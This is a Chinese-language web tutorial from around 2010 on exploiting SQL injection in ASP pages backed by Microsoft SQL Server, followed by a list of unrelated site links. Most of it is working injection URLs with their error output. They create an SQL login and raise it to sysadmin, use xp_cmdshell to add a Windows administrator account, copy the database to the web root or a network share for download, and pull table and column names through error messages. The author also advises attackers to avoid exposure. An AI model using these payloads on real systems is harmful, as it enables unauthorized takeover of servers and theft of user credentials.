利用SQL注入,通过dbo获得SQL管理权限和系统权限

来源:Asp之家 时间:2010-08-12 18:51:00 

我做了如下测试:(1) http://www.xxx.com/new/new.asp?id=49’

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中。
/new.asp,行36

(2) http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回页面)

(3) http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.asp,行42

注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.asp?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 ”dbo” 转换数据类型为 int 的列时发生语法错误
/new.asp,行42
注:如果显示“dbo” 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是“abc” 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。

获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。

(1) http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用户

(2) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM

(3) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)

(4) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)

(5) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

把帐号FMZM加入到管理员组

OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.

附:(1) http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

(2) http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

   (3) http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。

(4) http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从(3)拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

标签:sql注入,sql权限,系统权限
0
投稿

猜你喜欢

  • 站长购买美国主机选择10个基本参考 别给空间商忽悠

    2010-03-25 14:21:00
  • GoDaddy:如何建立404错误页面 Godaddy

    2010-04-23 12:43:00
  • 搜索优化 问题标题是否应该使用标题符号

    2008-12-30 15:43:00
  • UCenter Home2.0beta版安装方法详细介绍

    2009-08-10 18:38:00
  • Google推出广告管理平台Ad Manager

    2008-03-17 13:52:00
  • 网页游戏鱼龙混杂 偷菜模式能否成救命稻草?

    2009-11-18 07:15:00
  • Discuz! 社区QQ群功能更新 新增长版显示与QQ弹窗提醒

    2011-07-18 19:02:46
  • 动易SiteFactory CMS 新特性之——“角色”

    2009-02-13 17:57:00
  • 被DDOS分布式攻击后的解决方法

    2009-12-24 14:20:00
  • 一个完美网站的101项指标.第二部分.内容为王

    2008-02-29 22:05:00
  • 购买网站应注意的九个问题

    2007-12-18 16:55:00
  • 写好和维持准确元标记 让谷歌顺利找到你

    2009-01-20 10:13:00
  • 十大WordPress MU管理员插件

    2009-10-28 23:05:00
  • 网编为您解析做网站的心态

    2008-10-17 10:08:00
  • 百度如何判断网站文章是否原创

    2008-12-22 09:41:00
  • SNS网站发展之势:在取舍中凸显自我价值

    2008-12-23 10:37:00
  • IM大战 百度Hi能否杀出重围

    2008-07-21 12:20:00
  • 关于网站用户粘度的简单计算方法

    2008-05-17 09:07:00
  • 关于Apache服务器如何实现用户验证

    2010-05-08 18:10:00
  • 站长必知的健康上网小常识

    2007-12-10 18:12:00
  • asp之家 网站运营 m.aspxhome.com